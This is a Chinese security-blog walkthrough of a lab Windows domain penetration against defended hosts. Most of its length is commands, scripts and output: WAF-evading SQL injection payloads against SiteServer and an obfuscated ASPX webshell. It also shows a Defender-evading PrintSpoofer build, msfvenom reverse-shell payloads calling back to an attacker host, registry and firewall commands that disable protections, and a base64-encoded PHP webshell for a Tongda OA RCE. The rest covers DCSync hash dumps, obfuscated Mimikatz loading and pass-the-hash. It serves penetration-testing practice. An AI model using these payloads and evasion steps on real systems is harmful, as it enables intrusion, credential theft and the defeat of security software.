查看原文
其他

带防护的Windows域渗透

听风安全 2023-11-28

The following article is from A11Safe Author toxic80l

免责声明
由于传播、利用本公众号听风安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号听风安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

公众号现在只对常读和星标的公众号才展示大图推送,

建议大家把听风安全设为星标,否则可能就看不到啦!

----------------------------------------------------------------------

Attack 靶场主要为带防护的 Windows 域渗透,其中涉及多项技术,包括SQL注入、文件上传、通达OA利用、免杀猕猴桃、免杀360、安全狗绕过、Windows Defender绕过、PTH、DCSync等知识。

0x01 靶机环境搭建

靶场中包含三台靶机,具体的网络拓扑图如下

根据拓扑图环境分别为三台主机配置不同的网卡

web 服务器管理员密码为!@#QWE123,域用户 oa 密码为!@#Qz123,域管理员密码为!@#QWEasd123.,登录 web 服务器查看 IP 地址为192.168.0.100

当然也可以使用 netdiscover 发现内网主机

netdiscover 192.168.0.0/24

在 hosts 文件中绑定域名解析

sudo vim /etc/hosts
## 配置
192.168.0.100 www.moonlab.com

成功访问目标站点,靶机环境部署完成

0x02 外网边界突破

端口扫描

使用 masscan 快速扫描目标全部端口

sudo masscan -p 1-65535 192.168.0.100 --rate=200

使用 nmap 对 masscan 扫描到的端口进行具体的信息探测

nmap -A -p 21,80,999,3389,5985,6588 -sC -Pn 192.168.0.100

使用 nmap-converter 转换 nmap 扫描报告,能够更加直观地看到扫描信息

python3 nmap-converter.py attack.xml -o attack.xls

80端口

robots.txt中发现三个目录,分别为/SiteServer//SiteFiles//UserCenter/

访问目录/SiteServer为管理员登录界面

访问目录/UserCenter为用户登录界面

访问/UserCenter为空白界面

尝试使用目录扫描工具进行扫描,但是速率过快导致安全狗封锁,因此需要编写目录扫描脚本,值得注意的是被打开的文件得根据需要设置字符编码

import requests
import time

url = "http://www.moonlab.com/"
codes = [200301302401500]
lists = []
headers = {
    "User-Agent""Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.83 Safari/537.36"
}

def open_dir():
    f = open('big.txt''r', encoding="latin-1")
    for path in f.readlines():
        url_path = url + path
        lists.append(url_path.strip())

def scan_dir():
    for url_path in lists:
        res = requests.get(url_path, headers=headers)
        time.sleep(0.5)
        if res.status_code in codes:
            result = url_path + " code:" + str(res.status_code) + " len:" + str(len(res.content))
            save_result(result)
            print(result)

def save_result(result):
    f = open("result.txt""a")
    f.write(result + "\n")


open_dir()
scan_dir()

扫描结果如下:

SQL注入

由于 SiteServer 存在许多漏洞,目前网上存在许多 POC,比如 w9scan 中就集成了相关的检测代码,但是直接使用扫描器扫描器扫描的话,安全狗会直接封锁IP,因此需要找到相关的 POC 并重新修改

项目地址:https://github.com/w-digital-scanner/w9scan

import requests

ps = [
    'siteserver/service/background_taskLog.aspx?Keyword=test%%27%20and%20convert(int,(char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version))=1%20and%202=%271&DateFrom=&DateTo=&IsSuccess=All',
    'usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--',
    'siteserver/bbs/background_keywordsFilting.aspx?grade=0&categoryid=0&keyword=test%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%202=%271',
    'siteserver/userRole/background_administrator.aspx?RoleName=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%271&PageNum=0&Keyword=test&AreaID=0&LastActivityDate=0&Order=UserName',
    'siteserver/userRole/background_user.aspx?PageNum=0&Keyword=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%27&CreateDate=0&LastActivityDate=0&TypeID=0&DepartmentID=0&AreaID=0',
    'siteserver/bbs/background_thread.aspx?UserName=test&Title=%27%20and%201=char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version%20and%201=%27&DateFrom=&DateTo=&ForumID=0',
]
url = "http://www.moonlab.com/"
headers = {
        "User-Agent""Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.83 Safari/537.36"
}

def scan():
    for p in ps:
        url_path = url + p
        res = requests.get(url_path, headers=headers)
        # 安全狗响应长度为2494
        res_len = len(res.content)
        if res_len != 2494:
            print(res.url + "\n" + str(res_len))

scan()

扫描结果如下:

访问前者会重定向至登录界面,后者则会返回报错信息,发现数据库版本为SQL Server 2008 R2

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--

尝试替换db_name()函数完成注入,但是被安全狗发下并拦截

db_name()=2;%20--

通过~尝试绕过安全狗进行注入,成功发现数据库名msmoonlab

db_name()=~2;%20--

但是没有发现数据表名,找到开源源代码并发现用户数据表名、数据列名,尝试获取账号、密码以及加密盐

~1=(select top 1 username from [bairong_Administrator]); --
~1=(select top 1 password from [bairong_Administrator]); --
~1=(select top 1 passwordsalt from [bairong_Administrator]); --

成功发现账号、密码以及加密盐值如下:

账号密码:admin/64Cic1ERUP9n2OzxuKl9Tw==
加密盐值:LIywB/zHFDTuEA1LU53Opg==

解密加盐密文

目前我们已经拥有网站源码,虽然拿到了账号密码,但是密码是密文且无法获取对应明文,因此需要对.Net源代码进行审计,找到siteserver/login.aspx所对应函数为BaiRong.BackgroundPages.FrameworkLogin

<%@ Page Language="c#" Inherits="BaiRong.BackgroundPages.FrameworkLogin" %>

成功在bin目录中找到BaiRong.BackgroundPages.dll

使用 dnSpy 反编译BaiRong.BackgroundPages.dll

找到BaiRong.BackgroundPages.FrameworkLogin,尝试从中寻找加密函数,但是无果

切换思路,尝试寻找关键词password,成功在UserCenter.Core.AdminAuthUtils中找到加密函数

但是它还不是真正的加密函数,用于执行的是DESEncryptor.DesDescrypt(),由此断定密码加密方式使用的是 DES 算法,点击DesDescrypt()跳转至加密函数当中,源代码如下:

public void DesEncrypt()
  
{
   byte[] rgbIV = new byte[]
   {
    18,
    52,
    86,
    120,
    144,
    171,
    205,
    239
   };
   try
   {
    byte[] bytes = Encoding.UTF8.GetBytes((this.x39d9653625493ae8.Length > 8) ? this.x39d9653625493ae8.Substring(08) : this.x39d9653625493ae8);
    DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
    byte[] bytes2 = Encoding.UTF8.GetBytes(this.x3c811436980dcf17);
    MemoryStream memoryStream = new MemoryStream();
    CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateEncryptor(bytes, rgbIV), CryptoStreamMode.Write);
    cryptoStream.Write(bytes2, 0, bytes2.Length);
    cryptoStream.FlushFinalBlock();
    if (!false)
    {
    }
    this.xc7d800b8a71773fd = Convert.ToBase64String(memoryStream.ToArray());
   }
   catch (Exception ex)
   {
    this.x456956327593d9f6 = ex.Message;
   }
  }

与此同时还发现了解密函数Decrypt,源代码如下:

public void DesDecrypt()
  {
   byte[] rgbIV = new byte[]
   {
    18,
    52,
    86,
    120,
    144,
    171,
    205,
    239
   };
   byte[] array = new byte[this.x3c811436980dcf17.Length];
   try
   {
    byte[] bytes = Encoding.UTF8.GetBytes(this.x6d0b493f217f133b.Substring(08));
    DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
    array = Convert.FromBase64String(this.x3c811436980dcf17);
    MemoryStream memoryStream = new MemoryStream();
    if (!false)
    {
    }
    CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write);
    cryptoStream.Write(array, 0, array.Length);
    cryptoStream.FlushFinalBlock();
    Encoding encoding = new UTF8Encoding();
    this.xc7d800b8a71773fd = encoding.GetString(memoryStream.ToArray());
   }
   catch (Exception ex)
   {
    this.x456956327593d9f6 = ex.Message;
   }
  }

尝试通过 VS2019 来编写 DES 解密工具,首先选择 .net 框架为 4.5

创建空间绘制窗口UI,完成后如下

将解密函数添加其中,与此同时添加执行脚本

private void button1_Click(object sender, EventArgs e)
        {
   DesDecrypt();
        }
public void DesDecrypt()
  {
   byte[] rgbIV = new byte[]
   {
    18,
    52,
    86,
    120,
    144,
    171,
    205,
    239
   };
   byte[] array = new byte[this.textBox1.Text.Length];
   try
   {
    byte[] bytes = Encoding.UTF8.GetBytes(this.textBox2.Text.Substring(08));
    DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
    array = Convert.FromBase64String(this.textBox1.Text);
    MemoryStream memoryStream = new MemoryStream();
    if (!false)
    {
    }
    CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write);
    cryptoStream.Write(array, 0, array.Length);
    cryptoStream.FlushFinalBlock();
    Encoding encoding = new UTF8Encoding();
    this.textBox3.Text = encoding.GetString(memoryStream.ToArray());
   }
   catch (Exception ex)
   {
    this.textBox4.Text = ex.Message;
   }
  }

编译生成后运行,同时输入密文值

解密成功后获得如下账号密码:

admin 64Cic1ERUP9n2OzxuKl9Tw== admin5566

忘记密码

在后台登录界面中发现找回密码功能存在逻辑漏洞,输入用户名为admin

使用 BurpSuite 将回答修改为空会返回明文密码

成功拿到密码为admin5566

后台文件上传

使用admin/admin5566成功登录后台

在系统管理》系统站点管理》站点模版管理中存在文件上传,将过狗木马导入站点模板

使用变量覆盖+参数绕过可成功绕狗,过狗马如下:

<%@ Page Language="Jscript"%>
<%

var a =Request.Item["c32as"];
a=a.Replace("moonmoonmoonmm","Response.Write");
//Response.Write(a);
eval(a,"unsafe");
%>

上传后压缩包会自动解压,木马地址为http://www.moonlab.com/sitefiles/sitetemplates/mac/mac.aspx,但是出现服务器错误问题,这主要是代码原因,对连接无影响

使用蚁剑成功连接木马,密码为c32as

0x03 主机权限提升

主机信息收集

查看用户权限发现当前用户为iis apppool,需要进一步权限提升

whoami

查询操作系统版本为 Windows Server 2016

systeminfo

查询系统进程,发现安全狗、Windows Defender 等安全软件

tasklist

使用在线工具比对杀毒软件能够更加清晰地看见服务器运行服务

免杀上线MSF

使用 PrintSpoofer 可原先可以直接免杀,但是现在 Windows Defender 已查杀,因此需要进行免杀处理,使用 Visual Stdio 打开源码包,将项目中全部关键字PrintSpoofer替换为macsec项目地址:https://github.com/itm4n/PrintSpoofer

修改头文件名称以及源码文件名称PrintSpoofermacsec

删除用法函数PrintUsage中的内容

通过正则匹配wprintf*将项目中所有wprintf替换成空

编译生成 release 版本后在本地进行测试,成功免杀

macsex.exe -i -c "cmd.exe"

将免杀后的 PrintSpoofer 上传至C:\Windows\Temp目录当中

执行命令查看权限为系统权限

PrintSpoofer64.exe -i -c "whoami"

使用 MSF 生成对应免杀的 shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.113 LPORT=4444 -e x86/shikata_ga_nai -i 30 -f csharp -o payload.txt

利用掩日工具输入 shellcode 选择执行方式2VirtualProtect进行免杀

在 MSF 中开启监听

msf > use multi/exploit/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lhost 192.168.0.113
msf > set lport 4444
msf > exploit -j

使用PrintSpoofer64.exe执行免杀木马

PrintSpoofer64.exe -i -c "test.exe"
免杀后:PrintSpoofer64.exe -i -c "cmd.exe /c c:\Windows\temp\test.exe"

成功上线 MSF 拿到会话

查看进程,寻找稳定的系统64位进程

meterpreter > ps 

迁移成功,但不久后就会话自动断开,可能被 Windows Defender 识别到了特征

meterpreter > migrate 1080

使用命令获取哈希值

meterpreter > hashdump

成功拿到哈希值

Administrator:500:aad3b435b51404eeaad3b435b51404ee:e7114141b0337bdce1aedf5594706205:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
huweishen166644:1004:aad3b435b51404eeaad3b435b51404ee:93a50f03c4bc59579605ee0c1937401a:::
moonlab:1010:aad3b435b51404eeaad3b435b51404ee:16607206dae8e7ac67ccbbce40363686:::
MySQL_HWS:1001:aad3b435b51404eeaad3b435b51404ee:c5bf79ff3e413dd56c626aaed26431bb:::
PhpMyAdmin_HWS:1002:aad3b435b51404eeaad3b435b51404ee:8ad7000c1e4378339c86952dd7dc23e1:::

查询管理员哈希值,成功拿到密码!@#QWE123

当然也使用 hashcat 破解哈希值

hashcat -a 0 -m 1000 ntlm.hash /usr/local/share/wordlists/rockyou.txt --force

加载 Mimikatz 获取明文,成功拿到密码!@#QWE123

meterpreter > load mimikatz
meterpreter > creds_all

内网信息收集

查看端口开放情况发现远程桌面已开启,同时目前已经有了管理员账号密码,使用该凭证就可以登录远程桌面关闭 Windows Defender

meterpreter > netstat -ano

但是在实战中不到万不得已不要登录远程桌面,因此如果有需要的话可以通过命令行关闭 Windows Defender

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f

重新开启可以使用如下命令(开启前请删除上传工具)

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 0 /t REG_DWORD /f

查看当前主机网络发现存在两个网段,分别为192.168.0.0/2410.10.1.0/24

meterpreter > ifconfig

使用 ping 命令寻找10.10.1.0/24网段的主机

for /l %i in (1,1,255) do @ ping 10.10.1.%i -w "ttl="

在 MSF 中可以直接通过arp_scanner模块来替代,成功发现主机10.10.1.130

meterpreter > run arp_scanner -r 10.10.1.0/24

0x04 内网横向渗透(MSF)

建立socks代理

通过 MSF 添加路由10.10.1.0/24

meterpreter > run autoroute -s 10.10.1.0/24
meterpreter > run autoroute -p

运行模块socks_proxy建立 socks 代理

msf > use auxiliary/server/socks_proxy
msf > set srvport 2222
msf > show options
msf > run

通过 proxychains 建立代理

vim /usr/local/etc/proxychains.conf

#
配置
socks5 127.0.0.1 2222

使用 nmap 通过代理进行扫描,结果只开放了80端口,可能存在防火墙拦截

proxychains4 nmap -Pn 10.10.1.130 -p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389 --open

通达OA远程代码执行

访问目标80端口,成功发现通达OA

通达OA存在远程代码执行漏洞,通过该漏洞利用脚本可上传木马,上传后的木马地址为http://10.10.1.130/ispirit/interface/404.php项目地址:https://github.com/Al1ex/TongDa-RCE

proxychains python3 tongda_shell.py http://10.10.1.130 

但是木马被直接查杀,因此需要使用蚁剑生成免杀马

经过Base64编码后再次上传

PD9waHAgJGtoZXA9Y3JlYXRlX2Z1bmN0aW9uKGNocigxMTM0MC8zMTUpLmJhc2U2NF9kZWNvZGUoJ2N3PT0nKS5zdHJfcm90MTMoJ2InKS5zdHJfcm90MTMoJ3onKS5jaHIoMHhmZC0weDk4KSxjaHIoMHhkNmEwLzB4MjIwKS5iYXNlNjRfZGVjb2RlKCdkZz09JykuY2hyKDB4MTFkYjIvMHgyZjIpLmNocigwMTE1NTAwLzA1NjApLnN0cl9yb3QxMygnKCcpLmNocigwNDQwMDAvMDEwMDApLmJhc2U2NF9kZWNvZGUoJ2N3PT0nKS5zdHJfcm90MTMoJ2InKS5iYXNlNjRfZGVjb2RlKCdiUT09JykuY2hyKDB4NjYyZi8weDEwMykuY2hyKDY1Ny02MTYpLmNocig0MjMtMzY0KSk7JGtoZXAoYmFzZTY0X2RlY29kZSgnTlRJeE0nLidEQTVPMCcuJ0JsZGtGJy4nc0tDUmYnLicnLmNocigweDEzYTFhLzB4M2IyKS5iYXNlNjRfZGVjb2RlKCdSUT09Jykuc3RyX3JvdDEzKCc5Jykuc3RyX3JvdDEzKCdHJykuYmFzZTY0X2RlY29kZSgnVmc9PScpLicnLicnLmNocigwNjM1LTA1MjcpLnN0cl9yb3QxMygnZycpLmNocigwMTMwNDcwLzA2NTQpLmNocig1NzAtNDcyKS5iYXNlNjRfZGVjb2RlKCdWdz09JykuJycuJ1JkS1RzJy4neE5UWXonLidNREkzTycuJ3c9PScuJycpKTs/Pg==

配置蚁剑代理后连接木马地址

成功连接木马

主机信息收集

查看当前权限为系统权限,如果无法回显可使用whoami > cmd.txt进行输出

查看操作系统信息,操作系统版本为 Windows Server 2012 R2,同时安装182个补丁

systeminfo

查看当前运行运行服务,存在360全家桶套餐以及防火墙

net start

查看当前进程,同样发现360杀软进程

tasklist

查看网卡信息,发现存在域attack.local两个网段,分别为10.10.1.0/2410.10.10.0/24

ipconfig /all

查看端口开放信息,存在诸多端口,但是 nmap 并没有扫描到这些端口,说明防火墙阻断了这些端口

netstat -ano

使用命令关闭防火墙,但是出现乱码

netsh advfirewall set allprofiles state off #关闭防火墙
netsh advfirewall set allprofiles state on #开启防火墙
netsh advfirewall show allprofiles #查看防火墙开放状态

使用 nmap 测试成功,防火墙已关闭

免杀上线MSF

使用 MSF 生成正向连接 shellcode

msfvenom -p windows/meterpreter/bind_tcp lport=4444 -e x86/shikata_ga_nai -i 30 -f csharp -o payload_bind.txt

使用掩日对生成的 shellcode 选择执行方式2VirtualProtect进行免杀,需要注意的是一般不出网主机的杀毒策略相对滞后

通过蚁剑上传木马并执行

使用 MSF 设置代理正向连接服务器

msf > use exploit/multi/handler
msf > set payload windows/meterpreter/bind_tcp
msf > set rhost 10.10.1.130
msf > set lport 4444
msf > exploit

查看系统进程,寻找稳定的进程

meterpreter > ps

选择进程号872进行注入

meterpreter > migrate 872

域内信息收集

尝试获取用户哈希值

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:357bec0ee1f524c62ba536fcd3f74472:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

加载 mimikatz 尝试获取主机用户明文信息,但是并没有拿到相关信息,可能被360阻断了

meterpreter > load kiwi
meterpreter > creds_all

查看用户目录发现域管理员用户,说明域管理员登录该主机

meterpreter > ls c://Users

加载enum_logged_on_users查看登录过的用户,但会话直接中断

meterpreter > run post/windows/gather/enum_logged_on_users

加载enum_domain查看主机域信息,直接执行还是被中断,说明 360 对 MSF 执行模块很敏感

meterpreter > run post/windows/gather/enum_domain

进入 cmd 中查询域内信息,查询主机信息失败

net config workstation

查询存在域信息,但还是报错,说明当前会话查询敏感操作已经被限制

net view /domain

尝试寻找域控,域控主机名为DC

net group "Domain Controllers" /domain

域控主机名为dc.attack.local

net time /domain

尝试获取域控IP地址,其地址为10.10.10.165

ping dc.attack.local

添加路由网段10.10.10.0/24

meterpreter > run autoroute -s 10.10.10.0/24
meterpreter > run autoroute -p

通过代理扫描域控端口

proxychains4 nmap -Pn 10.10.10.165 -p 80,88,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389 --open

扫描结果如下,目标开放了88、135、445、3389端口

DCSync获取哈希

查看进程发现域管理员进程ID

选择进程号 14264 窃取域管理员凭证

meterpreter > steal_token 14264
meterpreter > rev2self //恢复原来的凭证

通过 dcsync 获取域管理员用户和 krbtgt 用户的 NTLM 哈希

meterpreter > dcsync_ntlm administrator
meterpreter > dcsync_ntlm krbtgt
[+] Account   : administrator
[+] NTLM Hash : 3f37aede0b8a007bbb1d26ba03f65595
[+] LM Hash   : fa93e81c0c7a5ffad0df890952f923a5
[+] SID       : S-1-5-21-4052809752-717748265-227546684-500
[+] RID       : 500

[+] Account   : krbtgt
[+] NTLM Hash : 67446f76100703cc0866cb7167cca084
[+] LM Hash   : c7192cc0c2c01aee95bc9a98664ed15b
[+] SID       : S-1-5-21-4052809752-717748265-227546684-502
[+] RID       : 502

通过在线哈希解密拿到域控密码为!@#QWEasd123

远程桌面登录

使用 Proxyifier 尝试建立代理

输入账号密码

登录域控主机成功

免杀猕猴桃PTH

在 MSF 中虽然能够获取猕猴桃的相关命令,但是在执行操作时一直被拦截,目前存在免杀项目猕猴桃有两种执行方式,分别是 exe 模式和 dll 模式,生成 exe 会直接被杀软查杀,但是通过 dll 执行不会被查杀项目地址:https://github.com/ssssanr/Mimikatz-Csharp

首先生成key.snk

$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte

将生成的key.snkkatz.cs放入.Net执行目录中,通过csc.exe生成regsvcs.dll

cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
.\csc.exe /r:System.EnterpriseServices.dll
/r:System.IO.Compression.dll /target:library /out:regsvcs.dll /keyfile:key.snk /unsafe katz.cs

上传regsvcs.dllc:\\Windows\Temp目录当中

meterpreter > upload ~/Desktop/regsvcs.dll c://windows/temp/ 

使用命令执行该文件加载 Mimikatz

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe regsvcs.dll

利用猕猴桃通过 PTH 登录域控,但加载出错

privilege::debug
sekurlsa::pth /user:Administrator /domain:attack.local /ntlm:3f37aede0b8a007bbb1d26ba03f65595

难道是猕猴桃的原因吗?尝试删除关键字的方式制作猕猴桃免杀并上传

执行成功说明果然是那个猕猴桃的原因,使用 mimikatz 建立共享失败

net use \\DC
dir \\DC\C$

这又是什么原因呢?在主机上利用发现需要在跳出来的 cmd 中执行才能成功,真是鸡肋啊!

除了猕猴桃以外我们还可以尝试 MSF 进行哈希传递,利用成功

msf > setg Proxies socks5:127.0.0.1:2222
msf > setg ReverseAllowProxy true
msf > use exploit/windows/smb/psexec
msf > set payload windows/meterpreter/bind_tcp
msf > set rhost 10.10.10.165
msf > set SMBDomain attack
msf > set SMBuser administrator
msf > set SMBpass fa93e81c0c7a5ffad0df890952f923a5:3f37aede0b8a007bbb1d26ba03f65595 # 冒号前面为LM后面为NTLM
msf > run

但通过 MSF 连接域控失败,连接失败的主要原因是域控防火墙已开启,导致外部无法连接开放端口

msf > use exploit/multi/handler
msf > set payload windows/meterpreter/bind_tcp
msf > set rhost 10.10.10.165
msf > set lport 4444
msf > exploit

而使用 wmiexec.py 可利用哈希传递成功连接管理员

proxychains4 python3 wmiexec.py -hashes fa93e81c0c7a5ffad0df890952f923a5:3f37aede0b8a007bbb1d26ba03f65595 attack.local/administrator@10.10.10.165

0x05 内网横向渗透(CS)

服务器上线CS

配置 http 监听器

生成 exe 类型木马cs_mac1.exe

通过蚁剑上传木马但显然无法上传,可能是木马被查杀

在 CS 中生成 C# 类型的 payload

通过掩日 2.0 版本生成木马

成功生成test.exe,使用新版掩日再次生成即可免杀马Tjm.exe

通过蚁剑上传木马还是失败,使用 MSF 上传木马

meterpreter > upload ~/Desktop/pNO.exe c://windows/temp/

通过 MSF 执行木马上线CS

也可以使用 MSF 将会话转到 CS

msf > use exploit/windows/local/payload_inject
msf > set payload windows/meterpreter/reverse_http
msf > set LHOST 192.168.0.115    //cs主机地址
msf > set LPORT 80    //随意设置监听端口,需要和cs保持一致
msf > set session 4    //设置需要派送的meterpreter
msf > set DisablePayloadHandler true    //禁止产生一个新的handler

同样能够上线CS

建立socks代理

尝试使用 FRP 建立代理,其中frpc.ini代理配置如下:

[common]
server_addr = 192.168.0.115
server_port = 7000

[http_proxy]
type = tcp
remote_port = 6000
plugin = socks5

frps.ini配置如下:

[common]
bind_addr = 0.0.0.0
bind_port = 7000

上传frpsfrps.ini至服务器并执行

./frps -c frps.ini

在靶机中上传frpcfrpc.ini,同时连接 FRP

frpc.exe -c frpc.ini

域内主机上线

在服务器上建立TCP中转监听

生成中转监听木马cs_mac2.exe,但是掩日不支持免杀该马

使用代理访问之前上传的木马

设置 smb 监听器并生成对应木马beacon.exe

设置 TCP 监听器生成对应木马cs_mac3.exe

上传后并没有被360杀死,使用蚁剑执行木马

正向连接 TCP 上线OA服务器

connect 10.10.1.130 4567

PTH上线域控

获取密码明文

logonpasswords

查看进程发现域管理员进程并窃取

ps
steal_token 14688

借助梼杌插件完成猕猴桃PTH

填写域名、哈希、用户名

成功访问域控

shell dir \\dc\c$

利用 SMB 监听通过 psexec 上线

成功上线域控

0x06 靶场学习总结

整个靶场全面地展示了带防护的 Windows 域渗透,通过信息收集发现站点存在安全狗 WAF,因此后期无论是目录扫描还是漏洞利用都需要绕过 WAF 防护,编写脚本限制速率可完成目录扫描,由于目标 CMS 是 SiteServer,使用针对性的漏洞检测脚本发现其中存在 SQL 注入漏洞,配合~1=绕过安全狗成功从数据库中拿到账号、密码密文以及加密盐值。而 SiteServer 是开源的,可下载后在本地搭建测试,通过代码审计拿到解密函数解密密文并成功拿到明文。与此同时经审计可知 SiteServer 的忘记密码处还存在逻辑漏洞,绕过后同样能发现用户 admin 对应的明文密码。以上这两种方式均可拿到后台登录界面密码。利用该账号密码登录后台,在模板管理中存在文件上传,尝试上传木马会被安全狗拦截,因此需对木马进行参数绕过、变量覆盖后才能上传,使用蚁剑连接成功拿到 IIS 用户权限。

在服务器上发现多个防护软件,当然最令人头疼的就是 Windows Defender,查看主机服务发现可提权服务PrintSpoofer,但对应的提权程序已被微软查杀,修改特征码免杀PrintSpoofer,成功绕过 Windows Defender 提权并上线 MSF,第一时间关闭各类杀软,否则会导致在进行信息收集时会话不断中断。通过主机信息收集发现同网段主机10.10.1.130,建立 socks 代理连接后使用 nmap 扫描该主机的端口信息,目标只开放了80端口,访问后为通达 OA,该版本下存在 RCE 漏洞,但是需要使用蚁剑免杀木马,否则还会被目标主机上的防护软件杀死,通过蚁剑成功连接免杀马,经查询可知当前权限为系统权限。

在服务器上查看端口发现多个端口开放,说明防火墙已开放并阻断了其他端口的外部连接。在蚁剑上使用命令关闭防火墙并免杀上线 MSF,完成迁移进程后执行 MSF 模块出现诸多报错,遂使用命令查询域信息,成功找到域控地址为10.10.10.165,由于对哈希进行解密后我们已经拿到了明文密码,因此存在两种访问域控,一是登录域控的 3389 端口,但是远程桌面动静太大,不太适合实战应用;二是哈希传递上线C2,而哈希传递也存在多种方式,比如猕猴桃 PTH、wmiexec、psexec 等,最终使用 PTH 成功上线域控主机。该靶场非常贴近实战,尤其是免杀和WAF绕过,十分适合网络安全进阶人员练习,在实战渗透时能够提供给我们非常好的借鉴作用。


不可错过的往期推荐哦


渗透实战|NPS反制之绕过登陆验证

干货|从无到有学习Golang编写poc&exp

渗透实战|记一次曲折的EDU通杀漏洞挖掘

Windows内网多级渗透

谷歌插件之navigator修改

针对Vue前后端分离项目的渗透思路

点击下方名片,关注我们

觉得内容不错,就点下“”和“在看

如果不想错过新的内容推送可以设为星标
继续滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存